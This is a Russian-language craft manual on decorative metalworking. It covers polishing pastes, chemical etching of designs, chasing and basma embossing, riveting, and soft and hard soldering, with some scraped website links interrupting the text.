При полировании изделий из сталей различных марок в состав паст и суспензий вводят природные и искусственные абразивные материалы, применяемые при шлифовании; при полировании цветных и драгоценных металлов — пасты, основными компонентами которых являются оксиды хрома или железа. Иногда применяют также технический мел, оксид кальция с добавками оксидов магния и железа или тальк. Состав паст на основе оксида хрома для полирования изделий из драгоценных металлов приведены в табл. 4.

Таблица 4.

Состав паст на основе оксида хрома для полирования изделий из драгоценных металлов

Компонент пасты Массовая доля компонента, %, при обработке
грубой средней тонкой
Состав 1
Оксид хрома
Стеарин
Расщепленный жир
Керосин
Силикагель 1,8
Олеиновая кислота    
Сода     0,2
Состав 2
Оксид хрома
Стеарин 10,7
Олеиновая кислота 1,3  
Техническое сало    
Скипидар    
Петролатум окисленный    
Парафин    

Абразивы могут быть естественного и искусственного происхождения. К первым относятся крокус, мел, венская известь, тальк, диатомит и трепел. Крокус представляет собой молотый природный оксид железа и является одним из основных абразивов, применяемых при полировании драгоценных металлов. Мел, только размолотый и отмученный, применяют для полирования не только драгоценных металлов, но и меди и ее сплавов. Венская известь, изготовляемая из прокаленного доломита, представляет собой смесь окислов кальция и магния. Оксиды кальция и магния активно поглощают из воздуха углекислый газ, поэтому хранить венскую известь и пасты на ее основе следует в герметически закрытых сосудах. Тальк является очень мягким абразивом используется для полирования гальванических покрытий. Диатомит и трепел представляют собой мелкозернистую смесь различных видов кремниевого ангидрида, обезвоженную кремниевой кислотой, кристаллического кварца и т. д.
К искусственным абразивным материалам относятся многие оксиды металлов.

Оксид железа (крокус) готовят окислением металлического железа или прокаливанием гидрооксида железа. В отличие от природного крокуса оксид железа может иметь высокую чистоту и любую степень дисперсности, что позволяет на его основе изготовлять высококачественные полировальные пасты.

Оксид хрома представляет собой тонкий порошок темно-зеленого (иногда почти черного) цвета. На его основе готовят универсальные полировальные пасты, к которым относится, в частности, широко используемая в промышленности паста ГОИ.

Диоксид олова — беловато-серый порошок, чрезвычайно мелкие и равномерные зерна которого обладают невысокой твердостью, что определяет его применение для окончательной доводки (глянцевания) ювелирных изделий.

В качестве искусственных полирующих материалов находят также применение оксиды циркония, цинка, магния, алюминия.

Для приготовления доводочных и полировальных паст используют различные композиции, в которые входят олеиновая к теариновая кислоты, парафин, церезин, техническое и натуральное сало, канифоль, масла костяное и вазелиновое, скипидар и т. д. Связку для паст выбирают в зависимости от ее назначения: она состоит из активных добавок (олеиновой и стеариновой кислот) и жировой основы. Олеиновая и стеариновая кислоты химически активизируют процесс полирования, повышают его производительность. Для этого же добавляют в полировальные пасты для драгоценных металлов поверхностно-активные вещества, а в последнее время и специальные комплексообразующие вещества, в частности сложные органические соединения, содержащие серу. Подобные добавки ускоряют процесс полирования и заметно улучшают шероховатость поверхности.

Пасту на основе оксида хрома готовят следующим образом. В фарфоровой или эмалированной металлической посуде расплавляют 15 ч. (по массе) стеарина и 12 ч. парафина. Когда расплавленные жиры разогреваются, к ним при непрерывном помешивании добавляют 73 ч. предварительно просеянного и высушенного оксида хрома. Смесь тщательно перемешивают и греют до получения достаточно жидкой массы, которую разливают в формы. После остывания пасту вынимают из форм и хранят завернутой в бумагу.

Существуют и другие рецептуры паст на основе оксида хрома. Например, предлагается активная паста, состоящая из 73 ч. оксида хрома, 23 ч. стеариновой кислоты и 4 ч. олеиновой кислоты.

В ювелирной промышленности широко применяют также пасты на основе крокуса (оксида железа). Для изготовления этой пасты в фарфоровой или эмалированной металлической посуде расплавляют 18,5 ч. стеариновой кислоты, 2,0 ч. церезина, 0,5 ч. олеиновой кислоты. В расплав при помешивании вводят 70 ч. крокуса. После тщательного перемешивания в расплавленную массу добавляют 9 ч. парафина, все вновь тщательно перемешивают и разливают в формы. Остывшую пасту вынимают из форм и укладывают в тару.

В настоящее время при доводочных и полировальных работах применяют алмазные пасты, которые обеспечивают высокие параметры шероховатости обрабатываемой поверхности.

§

Травлением называется способ воспроизведения с помощью химических средств рисунков, орнаментов, надписей и т.п. на поверхности металлических предметов.

Травление производится двумя способами: можно покрыть веществом, на которое действует протрава, все линии и поверхности рисунка; можно, наоборот, защитить от действия кислот все промежутки, оставляя линии и поверхности рисунка свободными. Если потом покрыть всю поверхность кислотой, то в первом случае рисунок получится слегка рельефным, во втором – рисунок выйдет углубленным.

Как ни проста, на первый взгляд, операция травления, начинающие часто терпят неудачу, особенно при травлении тонких и сложных рисунков.

Прежде чем наносить предохраняющее покрытие, обрабатываемую поверхность следует тщательно очистить от тонкого налета ржавчины, жира и иной грязи. Приставший к поверхности жир можно удалить промыванием в спирте или бензине, прокаливанием или, наконец, провариванием в растворе соды или едкого натрия.

Очищенный от грязи и жира предмет погружают в 10%-ный раствор серной кислоты и оставляют в ней до тех пор, пока не исчезнет темный налет ржавчины. После этого обрабатываемую поверхность можно отполировать, если форма предмета позволяет и назначение его не противоречит этой операции. Но подобная предварительная полировка не обязательна. До вычищенной поверхности нельзя дотрагиваться голыми пальцами, так как на них всегда есть большее или меньшее количество жирового вещества, а на жир протрава не действует.

Когда протравливаемая поверхность вычищена настолько, что имеет свежий металлический блеск, приступают к нанесению предохранительного покрытия. Хорошее покрытие можно приготовить следующим образом: расплавляют 1 часть асфальта и 2 части мастики, смесь перемешивают и добавляют к ней 2 части белого воска. По охлаждении этот состав формуют в шарики и конусы, которые завертывают сначала в тряпочку из тонкого плотного полотна, а сверху – в сухую тафту. Состав наносится на поверхность следующим образом: обрабатываемый предмет подогревают и, слабо надавливая на поверхность, водят по ней равномерно массой, завернутой в тафту; при этом состав тает и просачивается сквозь тряпку, покрывая тонким слоем натираемую поверхность. Когда это покрытие затвердеет, его покрывают тонким слоем свинцовых белил, мелко растертых и распущенных в растворе гуммиарабика. Затем при помощи синей бумаги на белую поверхность переводят требуемый рисунок или надпись. Все места, которые требуется вытравить, проскабливают до поверхности металла. Тонкой и острой гравировальной иголкой можно воспроизвести даже тончайшую тушевку рисунка.

Если хотят протравить простую фигуру или надпись, то предохранительное покрытие можно разбавить какой-нибудь жидкостью, например скипидаром, до консистенции густой масляной краски. По такому покрытию можно воспроизвести требуемый рисунок от руки иглой или даже стальным пером.

Сейчас читают:  Электрические кусторезы разных производителей в магазине

При нанесении предохранительного покрытия необходимо следить за тем, чтобы металлическая поверхность была совершенно суха, иначе покрытие местами плохо пристанет, а кислота может проникнуть тогда до металла и протравить места, которые должны остаться нетронутыми.

Протравой для медных, латунных, бронзовых и серебряных изделий служит следующая смесь: 3 части насыщенного водного раствора азотнокислой меди и 1 часть насыщенного уксусного раствора нашатыря.

Для железа и стали рекомендуют следующую смесь: 400 частей воды, 2-3 капли азотной кислоты, 15 частей каломея (двухлористой ртути) и 1 часть виннокаменной кислоты.

Протравливаемый предмет опускают в глиняную глазированную кюветку (ванночку), в которую наливают соответствующий растворитель. Если обрабатываемая поверхность плоская, то можно установить ее в горизонтальном положении, вылепить по краям бортик из воска толщиной в палец и в полученную таким образом плоскую кюветку налить соответствующую кислоту. Когда травление считают оконченным, предмет прополаскивают в чистой воде, а предохранительное покрытие удаляют нагреванием или смывают его скипидаром. Если в углублениях останется некоторое количество протравки, то со временем она разъест металлическую поверхность местами глубже, чем требуется. Во избежание этого промытый предмет кладут на несколько минут в известковую воду, которая нейтрализует остаток кислоты.

5. Обработка давлением

5.1. Чеканка

Технология чеканки.

Подготовка рисунка. Для производства чеканки из листа прежде всего подготовляют рисунок, выполненный на бумаге в натуральную величину (шаблон), в линейной (контурной) манере, без теней и с небольшими полями для приклейки его на металл.

Для выполнения рисунка на объеме на бумаге делают его развертку: целиком — для простых форм, имеющих один радиус кривизны (конус, цилиндр), на которые бумага легко накладывается, или по частям — для шарообразных и сложно профилированных форм, имеющих несколько радиусов кривизны. На таких изделиях наложение и совмещение рисунка, выполненного на плоском листе бумаги, со сложно профилированной поверхностью изделия может быть (условно) достигнуто только на небольших участках формы с большей или меньшей степенью деформации бумаги. Такие изделия перед нанесением рисунка предварительно размечают и рисунок переводят на них по частям (фрагментарно).

Подготовка бляшки.Исходя из размера и конфигурации рисунка от листового металла ножницами отрезают прямоугольную бляшку с таким расчетом, чтобы на ней свободно размещался весь рисунок и еще кругом оставался небольшой свободный край шириной 30—40 мм. Этот край необходим для более прочного удержания бляшки на смоле в процессе чеканки, особенно при выколотке высокого рельефа близко от краев. При чеканке у самого края бляшка обычно отскакивает от смолы (особенно от твердой) и ее приходится вновь насмаливать.

Отрезанную по размеру бляшку деревянным молотком выравнивают на плите и плоскогубцами слегка у нее загибают края и углы. Подготовленная таким образом листовая заготовка прочнее держится на смоле.

Насмолка.Благодаря насмолке бляшка прочно фиксируется, что необходимо при работе. Кроме того, отпечаток от удара чеканом получается четким и определенным. Для насмолки плоских чеканок применяют специальные доски или ящики, дно которых делают из толстого теса (толщиной 20—30 мм). Из более тонких планок со всех четырех сторон прибивают невысокие борта, образующие неглубокий ящик. Его до краев заполняют заранее сваренной и разогретой смолой, которой дают остыть и затвердеть. Размеры ящика должны немного превышать размеры бляшки так, чтобы от края бляшки до стенок ящика оставалось свободное поле смолы не меньше 20—30 мм.Глубина ящика также должна соответствовать высоте рельефа. Чем выше рельеф, тем глубже должен быть ящик.

Затем паяльной лампой или пламенем газовой горелки разогревают верхний слой смолы, слегка размешивая и разравнивая его при этом скребком. Когда верхний слой смолы хорошо разогреется, на него укладывают бляшку, следя за тем, чтобы она разместилась на одинаковом расстоянии от краев ящика и не утонула глубоко в смолу. Кроме того, очень важно, чтобы под бляшку не попал воздух и она присмолилась бы всей плоскостью (рис. 33). Затем ей дают остыть.

Объемные формы — стаканы, вазы, круглые скульптуры, а также глубокие барельефные и горельефные формы чеканят, наполнив их смолой. Для этого смолу разогревают и заливают в полость объемных форм, следя за тем, чтобы там не остался воздух и не образовались пустоты. При чеканке это приводит к трудно исправимому браку, так как металл под ударами чекана на пустотах проваливается, а иногда и прорывается.

В качестве опоры для объемных чеканок употребляют специальные котелки, выдавленные в форме полушара из листовой стали и заполненные предварительно разогретой смолой немного выше края (горкой). На таком котелке, пока смола не совсем застыла, но уже загустела, приготовляют место для обрабатываемого изделия. Для этого горячую и еще вязкую смолу покрывают мокрой бумагой или тряпкой, а сверху кладут подлежащий чеканке объемный предмет (наполненный смолой) и слегка вдавливают его в смолу. Тряпка или бумага не дают смоле прилипнуть к предмету, и на котелке образуется углубление (отпечаток), точно соответствующее его конфигурации. В таком углублении предмет хорошо и прочно удерживается в процессе чеканки, легко снимается, не пачкается о смолу.

Под котелок при чеканке подкладывается специальная подставка в форме кольца, сделанная из резины или свернутая из обрезков приводных ремней.

Перевод рисунка.На насмоленную бляшку или объем переводят заготовленный рисунок. Для этого металлическую поверхность слегка покрывают акварельными белилами и через копировальную бумагу переводят рисунок. Готовый рисунок на металле закрывают нитролаком, чтобы он не стирался при работе. Однако рисунок, переведенный через копирку, все же мало прочен и при чеканке ответственных работ (больших многофигурных композиций, портретов и т. п.) лучше применять старый испытанный прием—канфарнение. Для этого рисунок прикрепляют к металлу посредством пластилина (или воска) или наклеивают мыльным раствором, а затем специальным чеканом—канфарником пробивают рисунок по контурам рядами точек, образующих пунктирные линии, хорошо заметные после снятия бумаги.

Канфарить надо легко, но уверенно, так, чтобы каждая точка от удара канфарника была бы хорошо заметна, но не пробивала бы металл глубоко. Излишне глубокое канфарение почти невозможно вывести в процессе всей последующей чеканки, а ее следы не всегда желательны на готовом изделии. Мелкий рисунок канфарят острым чеканом, набивая точки часто (близко друг к другу). Крупный рисунок наносят тупым канфарником, редким пунктиром. Рисунок после умелой, аккуратной канфарки сохраняется и может быть использован повторно.

Расходка и опускание фона.Процесс чеканки обычно начинают с обводки или расходки сканфаренного рисунка. Выбрав соответствующий по ширине обводной чекан — расходник, им проходят по всем линиям рисунка, соединяя точки канфарника в одну сплошную линию и углубляя все контуры. Для мелких ювелирных работ употребляют острые расходники, дающие четкие узкие штрихи, для крупных чеканок, наоборот, — тупые, широкие расходники. При очень больших работах обводку делают иногда даже не расходником, а бобошником. Причем для еще большей ширины расходки бобошник ставят поперек и проводят линии его широкой стороной. После расходки рисунок становится хорошо видным и с лицевой, и с обратной сторон.

Следующей операцией является опускание фона вокруг рисунка при помощи более или менее плоских чеканов (лощатников), которыми «выводится расходка». Для этого чекан держат несколько наклонно в сторону рисунка и, сохраняя стенку, образованную расходником со стороны рисунка, выравнивают (осаживают) противоположную, обращенную к фону. Опусканием фона добиваются выявления рельефа. Рисунок начинает ясно выступать, несколько возвышаясь над осаженным фоном. Этим заканчивается первый этап чеканки. Металлическая пластина к этому времени уже успевает нагартоваться и требует для дальнейшей обработки отжига (рекристаллизации).

Отжиг.Для проведения отжига чеканку снимают со смолы, нагревая ее паяльной лампой, после чего она легко отделяется. Захватив пластину клещами за край, ее нагревают до темно-красного каления. В процессе нагрева металл отжигается и вновь приобретает вязкость и пластичность. В то же время смола с оборотной стороны выгорает и оставшаяся пыль легко удаляется крацовкой, отбелкой и промывкой. Заготовка становится совершенно чистой и после просушки вновь поступает в дальнейшую обработку.

Отжиг драгоценных, цветных и черных металлов и сплавов не представляет трудностей. Как только смола сгорит и металл начнет слабо краснеть, нагрев прекращают и процесс отжига заканчивают. Некоторые особенности имеет отжиг алюминия и его сплавов. Процесс рекристаллизации алюминия начинается уже при 100°С, т. е. задолго до начала красного каления (свечения). В то же время температурные интервалы красного каления и плавления у алюминия очень близки. Если алюминий нагреть докрасна, то он плавится и начатая работа разрушается. Поэтому при отжиге алюминия и его сплавов (дюрали) пластину незначительно нагревают и о температуре рекристаллизации судят по почернению (обугливанию) мыла, которым предварительно чертят полоски на подлежащей отжигу алюминиевой заготовке.

После отжига алюминиевую пластину промывают в подогретом растворе двууглекислой соды или едкого натра.

Выколотка рельефа.Эта операция заключается в дальнейшем подъеме рельефа (если это предусмотрено рисунком). Рельеф выколачивают с обратной стороны на резине или мешках с песком. При этом стремятся приподнять рельеф возможно точнее, в соответствии с рисунком. Выколотку ведут различными чеканами (при мелкой работе) или просто обратной стороной молотка (при крупных чеканках). Иногда подъем делают выше, чем следует, с некоторым запасом, с расчетом на последующую доработку на смоле.

Необходимую четкость рельефа при выколотке без смолы получить невозможно, но эта задача и не ставится. Четкость достигается позднее, при окончательной чеканке на смоле. При выколотке рельефа важно, чтобы металл тянулся эластично и не рвался. Кроме того, при выколотке необходимо правильно установить основные соотношения в планах рельефа и определить их высоты. При ответственных работах (например, портретных чеканках) все время следят за тем, чтобы не сбить рисунок. Отдельные участки рельефа, которые должны быть наиболее резкими и четкими (острые углы, грани и т. п.), выколачивают на деревянной доске или еще лучше на листовом свинце. Все участки фона выравнивают и устанавливают так, чтобы они лежали в одной плоскости. Это достигается их простукиванием лощатниками на стальной, чугунной или мраморной плите. После выколотки рельефа и выравнивания фона пластину вновь отжигают, отбеливают, промывают и высушивают для вторичной насмолки и окончательной доработки на смоле.

Вторичная насмолка и окончательная доработка рельефа. Вторичная Насмолка производится так же, как и первая, с той лишь разницей, что теперь предварительно всю полость рельефа заполняют расплавленной смолой и только после ее остывания и твердения чеканку насмаливают на ящик. Если в процессе насмолки на лицевую поверхность рельефа попала смола, то ее смывают тряпкой, намоченной в керосине, и насухо протирают. Окончательная прочеканка рельефа заключается в детальной проработке всех форм, выявлении их характерных особенностей и в то же время соподчинении деталей главному, создания общего цельного впечатления от всего рельефа.

Большую роль в окончательной отделке играет фактура чеканных поверхностей; сочетание гладких, кованых и матовых (шероховатых) элементов рельефа помогает при незначительных разностях в высотах рельефа получать большой декоративный эффект. Значительно Металл, как бумагу: выбираем хорошие электроножницы | обогащает чеканку применение различных рисунчатых чеканов, придающих отдельным участкам рельефа полосатую, решетчатую, ямчатую или ячеистую фактуру. Заканчивая работу, вновь применяют расходник (иногда острый). Едва уловимые штрихи или рассечки, нанесенные им, подчеркивают ту или иную форму. Большое внимание уделяют отделке фона — его делают то гладким, кованым, то матовым, пестрым и рисунчатым. Иногда его канфарят, а иногда совсем просекают (при тонком листе) или выпиливают лобзиком (при более толстом листовом металле). Просечку фона осуществляют, не снимая работу со смолы, после ее полной и окончательной доработки. Для просечки применяют специальные сечки и мелкие зубильца с прямым и полукруглым (серповидным) рабочим концом, остро заточенные. Пропиловку делают лобзиком после снятия со смолы и отжига для удаления остатков смолы на оборотной стороне чеканки, которая мешает пропиловке. После просечки или пропиловки заусенцы опиливают надфилями различных профилей. При окончательной отделке работы пользуются большим количеством разнообразных чеканов.

Кроме основных процессов и очередности их выполнения существует большое разнообразие в последовательности работ и приемах чеканки. В зависимости от конкретных условий, материала и задач применяют различные варианты технологии. Например, при точных работах, требующих большой четкости и верности форм и контуров рисунка, поступают следующим образом: сканфаренный рисунок тщательно обводят и после расходки лист сразу снимают со смолы, отжигают, отбеливают и насмоливают наизнанку, т. е. оборотной стороной наверх. Дав смоле затвердеть, рельеф выколачивают непосредственно на смоле. Линии расходника хорошо видны с изнанки, и работа получается очень точной.

При опускании рельефа на смоле он получается верным и чистым, полностью соответствующим замыслу, чего нельзя добиться при выколотке рельефа на песке или резине, где при ударе опускается большой участок металла (который потом уточняют при насмолке). При опускании рельефа на смоле опускается строго ограниченная,

рис. 14.

определенная форма рельефа, только та, по которой наносят удар чекана. В дальнейшем работу опять пересмаливают налицо, еще раз уточняют формы и высоту приподнятого с изнанки рельефа и заканчивают чеканку нанесением фактуры и другими приемами отделки. Иногда при сложных работах с многофигурными рельефами, большим числом планов и т. п. пересмолку на ту и другую сторону производят несколько раз, пока не достигнут желаемого результата.

При крупных декоративных работах с очень высоким рельефом или при чеканке горельефов применяют перевод рисунка не на лицевую, а на оборотную сторону листа (соответственно перевернутым подготавливают и рисунок). Рисунок канфарят прямо на доске верстака, без насмолки (чтобы сократить расход времени), затем лист насмаливают, причем опять на изнанку (оборотной стороной наверх). Дают смоле немного остыть (до загустения) и начинают выколачивать рельеф, опуская его вниз, в глубь смолы. Работу ведут быстро, пока не остыла и не затвердела смола. Чеканят крупными чеканами сферической формы («выдавными») или прямо оборотной стороной большого чеканного молотка, у которого размеры шарообразного конца достигают 20—25 ммв диаметре. Выколотив необходимый рельеф, пластину пересмаливают налицо и заканчивают обычным порядком. Существуют и другие приемы чеканки плоских предметов.

Чеканка объемных форм.Начальные стадии чеканки на Металл, как бумагу: выбираем хорошие электроножницы | объеме (канфарение и расходку рисунка) производят так же, как и на плоскости. Иначе обстоит дело с выколоткой рельефа. Обычными чеканами поднять рельеф на объемной форме не удается, и работу ведут крюками или трещотками. Исключение составляют очень большие вазы и другие объемные формы, где в полости самой формы оказывается достаточно пространства не только для того, чтобы поставить чекан, но и размахнуться молотком.

Работу крюками ведут следующим образом: объемный предмет укладывают на верстаке, подложив под него мешок с песком или резину, Затем, поставив боевой конец крюка в полости формы, на участок рельефа, подлежащий выколотке, ударяют молотком по штанге крюка и таким путем приподнимают тот или иной элемент рисунка. Повторяя операцию многократно и каждый раз,

рис. 15.

передвигая бой крюка по внутренней поверхности объемной формы, постепенно выколачивают весь рельеф до желаемой высоты.

Металл, как бумагу: выбираем хорошие электроножницы |
Работа трещоткой осуществляется иначе. Рис. 16.

Ее зажимают нерабочим концом в стуловые тиски, а сосуд держат в руке (рис. 15); затем наставляют рабочий конец трещотки внутри сосуда на участок, рельеф которого надо приподнять (выколотить), и сильно ударяют молотком по штанге трещотки. Она вибрирует и с достаточной упругой силой наносит удар, поднимая рельеф. Работа крюками и трещоткой требует большого навыка. Особенно трудно выколачивать рельеф на сосудах с узким горлом, через которое нельзя увидеть, куда намечен бой трещотки или крюка. В этом случае работу ведут на ощупь. Работу контролируют только по результатам, уже после каждого удара, по тому рельефу, который получается на поверхности сосуда снаружи, и передвигают бой трещотки, сообразуясь с тем, верно или неверно была поставлена трещотка на предыдущем ударе.

На рис. 16 показана трещотка со специальным приспособлением-указателем. Работать такой трещоткой значительно легче.

Если рельеф на объемном предмете должен быть невысоким, то его целесообразно выполнить на плоскости (не развертке), а затем уже готовый согнуть по форме предмета и примонтировать. Для этого рельеф чеканят обычным приемом, а затем осторожно сгибают руками или легким простукиванием деревянным молотком (киянкой).

Можно выделить следующие виды чеканных работ, отличающиеся по своей технологии и дающие различный художественный эффект.

Плоскостные (двухмерные) чеканные произведения, выполненные Расходкой.

Расходка может быть выполнена как с лицевой, так и оборотной стороны. В первом случае изделия несколько напоминают гравированные. Расходку с изнанки применяют часто современные художники.

Расходка с просечкой или выпиловкой фона.

Это очень простой и в то же время эффективный вид художественной обработки металла, создающий легкие, ажурные металлические кружева. Имеет мнго примеров в русском декоративном искусстве, выполненных из листового железа, меди, серебра и золота (рис. 39).

Чеканка без узоров (не изобразительная). Набивка фактуры пурошником, бобошником или рисунчатыми чеканами.

Расходка с опусканием фона.Это современный прием, широко распространенный в прошлом. Применяется для ювелирных работ и различных декоративных изделий .

Расходка с легкой выколоткой рельефа с изнанки.Расходка в этом случае делается не однообразной линией, а живой, подобно тому, как искусный рисовальщик рисует карандашом — то легко, то сочно и широко. При этом линия становится то плотной и непрерывной, то переходит в отдельные быстрые штрихи (рис. 41).

Чеканка объемных изделий скульптурного типа.

В современных условиях художники применяют чеканку для обработки различных декоративных предметов — блюд, ваз, настенных пластин, панно и т. п., а также для ювелирных изделий — браслет, нагрудных украшений, пряжек поясов, подвесок и т. п.

Басма.

Басма — это самостоятельный вид художественной обработки металла является своеобразным развитием и усовершенствованием чеканки. Вместо многократных ударов чеканом, необходимых для лепки сложной формы, еще на ранних стадиях применяли фигурные чеканы — пуансоны, производящие тиснение. Одного удара такого пуансона было достаточно, чтобы его боевой конец сообщил металлу соответствующую форму. Басменные доски — матрицы — являются дальнейшим развитием техники тиснения.

Преимущества тиснения по сравнению с чеканкой — быстрота производства изделий, а также значительная экономия драгоценного, металла (золота, серебра), так как тиснение осуществляется на материале значительно меньшей толщины по сравнению с чеканкой.

Для тиснения басмы прежде всего изготовляется басменная доска (матрица). Она представляет собой невысокий монолитный металлический рельеф с мягкими, плавными формами без острых краев, углов и резких выступов, которые прорывают тонкий металл при тиснении. Общая высота рельефа на древних басмах не превышала 1—2 мм, но иногда достигала 5—6 мм (на больших басмах).

Матрица изготовляется литьем из медных сплавов с последующей тщательной чеканкой, реже обронной техникой из стальной заготовки, тоже прочеканенной. Толщина медных басменных матриц составляет от 6 до 10—12 мм. Стальные матрицы могут быть и тоньше. Оборотная сторона матрицы плоская, ровная, плотно ложащаяся на верстак.

Процесс тиснения басмы заключается в следующем. На матрицу кладется тонкий лист металла, толщина которого обычно не превышает 0,2—0,3 мм, предварительно осторожно отожженного и отбеленного. Затем сверху накладывается прокладка из листового свинца. По этой свинцовой подушке наносят удары деревянным молотком или в современных условиях осуществляют необходимое давление винтовыми или ручными прессами. Под действием силы свинец благодаря своей пластичности вдавливается во все углубления матрицы, точно повторяя весь ее рельеф. Такие же деформации претерпевает и металлический лист, зажатый между матрицей и свинцовой прокладкой. После тиснения свинец удаляют и с матрицы снимают басму — тонкий рельеф, очень точно воспроизводящий вес детали матрицы, включая и фактуру.

Более жесткие материалы (пробное серебро, латунь) требуют один или два промежуточных отжига и повторных тиснений, иначе тонкая металлическая, фольга гартуется и рвется. Повторные тиснения с отжигом необходимы также и при тиснении очень высоких рельефов из чистых металлов. Необходимо следить, чтобы при повторном тиснении рельеф, образованный на заготовке при первом тиснении, точно совпал с рельефом матрицы. Даже при небольших несовпадениях выступающие элементы рельефа сминаются и заготовка портится.

Сейчас читают:  Сабельная пила: для чего нужна, как правильно выбрать инструмент

6. Типы соединений.

6. Соединение заклепками.

Рис. 17.

Клепка – это операция, с помощью которой получают неразъемные соединения деталей. Она часто применяется при изготовлении художественных изделий. Процесс клепки состоит из просверливания отверстий в деталях, установки в них заклепок и расклепывания выступающего конца заклепки с образованием второй головки. Заклепочное соединение может быть подвижным и неподвижным.

Неподвижное соединение применяется в большинстве случаев для различных металлических конструкций, начиная от решеток, ограждений и кончая ювелирными украшениями. Подвижные соединения применяются при изготовлении инструментов (щипцы, ножницы) и других изделий (петли, шарниры) для полученияшарнирных соединений, в них заклепки устанавливаются с зазором.

Заклепки изготовляют из металлов, обладающих вязкостью и пластичностью в холодном состоянии (сталь, медь, латунь, алюминий, серебро и др.). Они состоят из стержня с одной головкой, которая называется закладной головкой, вторая – замыкающая головка, образуется при расклепывании.

Наиболее распространены заклепки с полукруглой и потайной головкой (плоской). Стержень по своей длине берется исходя из суммы толщин склепываемых деталей и выступающей части стержня, необходимой для образования замыкающей головки. Для обра­зования плоской, потайной, головки выступающий конец должен быть равен 0,5 диаметра стержня, а для полукруглой головки-1,5 диаметра стержня заклепки. Выступающий конец заклепки делают слегка коническим, чтобы легче было ввести его в отверстие.

Диаметр стержня заклепки лучше всего брать в зависимости от толщины склепываемых листов или деталей: d=2s, где d – диаметр стержня заклепки, а s – наименьшая толщина склепываемых деталей (листов).

Инструментами для клепки являются натяжка и обжимка. Натяжка служит для сжатия склепываемых деталей. Она представляет собой стальной стержень с отверстием на торцовой части, диаметр и глубина которого должна быть несколько больше выступающейчасти заклепки. Обжимка служит для оформления замыкающейголовки и имеет такую же конструкцию, как и натяжка, но вместо отверстия в ней имеется лунка по форме головки.

В процессе клепки производят следующие по порядку операции:

1. Подгоняют детали – правка, припиловка, удаление заусенцев.

2. Размечают отверстия под заклепки и накернивают центры. При этом расстояние от центра заклепки до края склепываемой детали должно быть не меньше 1,5 диаметра заклепки, а между центрами заклепок в ряду от 3 до 4 диаметров.

3. Сверлят (или пробивают) отверстия. Диаметр сверленых отверстий берется на 0,1-0,2 мм больше диаметра стержня заклепки – это облегчает вставку заклепок в отверстия.

4. Снимают фаски или раззенковывают отверстия под потайные головки. Заклепку вставляют в отверстия, заводя ее снизу, и под нее ставят поддержку (специальный стержень с лункой под головку, укрепляемый в тисках) или плиту.

5. Ударяя молотком по натяжке, плотно сжимают склепываемые детали.

6. Расклепывают стержень заклепки. При этом стремятся, чтобы количество ударов было минимальным, так как металл нагартовывается и теряет пластичность. Сначала сильными ударами осаживают стержень, а затем боковыми ударами формируют головку и окончательно оформляют ее обжимкой.

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 18. Процесс клепки:
а) установка натяжки; б) осаживание стержня заклепки молотком;
в) оформление головки обжимкой; г) cформированная замыкающая головка

Можно сразу на выступающий конец стержня накладывать обжимку и, ударяя по ней, одновременно расклепывать и оформлять головку, но при таком способе возможно смещение головки относительно оси заклепки, что нежелательно.

При клепке возможны такие виды брака:

· Смещение замыкающей головки относительно оси стержня из-за косо просверленных отверстий или скоса торца стержня.

· Часть стержня расплющивается между склепываемыми деталями, если детали слабо прижаты друг к другу.

· Стержень заклепки изогнут – это происходит, если свободная часть стрежня была велика или его диаметр мал по отношению к диаметру отверстий.

· Мала замыкающая головка при недостаточной длине свободной части стержня заклепки.

·

Пайка

Пайка – способ неразъемного соединения металлических деталей при помощи припоев, широко применяемый в производстве художественных изделий.

Различают пайку мягкими припоями и твердыми припоями.

Пайка мягкими припоями имеет следующие преимущества: незначительный нагрев соединяемых деталей, сохранение размеров и формы деталей, простота способа, высокая плотность и др. Недостатки – невысокая прочность и термостойкость в пределах 100°С.

В процессе пайки мягкими припоями производят следующие по порядку операции:

1. Перед пайкой детали подгоняют друг к другу и места пайки тщательно очищают напильником или шкуркой.

2. Очищенные поверхности покрывают флюсом и облуживают.

3. Рабочий (заостренный) конец паяльника тщательно очищают, а если необходимо, запиливают драчевым напильником. Паяльник нагревают и его рабочий конец облуживают, для чего его предварительно погружают или натирают нашатырем (хлористым аммонием).

4. Паяльником расплавляют припой и переносят его на соединяемые поверхности деталей.

5. Паяльником медленно водят вдоль шва, пока он не прогреется и припой равномерно заполняет его.

6. После застывания припоя шов тщательно промывают и высушивают и, если необходимо, зачищают шкуркой, а наплывы припоя удаляют шабером или напильником.

Паяльник обычно нагревают до 400-450°С. Перегрев паяльника до 600°С и выше недопустим, так как медь, из которой сделан паяльник, начнет энергично окисляться и не будет брать и держать припой. Кроме того, медь при перегреве поглощает олово, оставшееся на паяльнике, отчего его рабочий заостренный конец становится хрупким и зазубренным.

Спайку предметов мягкими припоями производят на деревянной подкладке, так как металлическое основание поглощает значительную часть тепла, охлаждает детали и затрудняет работу.

Пайка твердыми припоями, у которых температура плавления выше 550°С, дает прочные, герметичные соединения. Твердые припои в основном состоят из меди, серебра, цинка и др. и применяются для пайки черных, цветных и драгоценных металлов.

Пайку твердыми припоями производят в следующем порядке:

1. Спаиваемые поверхности припиливают и подгоняют. Плотность подгонки во многомобеспечивает успех пайки (рис. 19.). Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 19. Припиловка и подгонка различных деталей при твердой пайке:
а) неправильно; б) правильно

2. Спаиваемые детали соединяют и закрепляют между собой, что осуществляется посредством струбцин и других зажимных инструментов, а также посредством связывания проволокой из мягкой стали.

3. Спаиваемые поверхности покрывают флюсом (бурой) и медленно прогревают пламенем горелки или паяльной лампы.

4. На нагретый шов раскладывают припой, и нагревание продолжается, пока припой не расплавится и не зальет зазор в соединении.

5. После охлаждения производят зачистку шва и промывку для удаления остатков флюса.

В процессе пайки необходимо внимательно следить за растеканием припоя. Он начинает плавиться, как только расплавится и сделается жидкой бура (флюс). Если припой собирается к одной стороне, значит это место нагрето сильнее и следует подогревать другую сторону; тогда припой пойдет по всему шву. Если же подогрев не дает результатов, необходимо добавить флюс и припой. Из твердых припоев наибольшее распространение имеют латунные припои

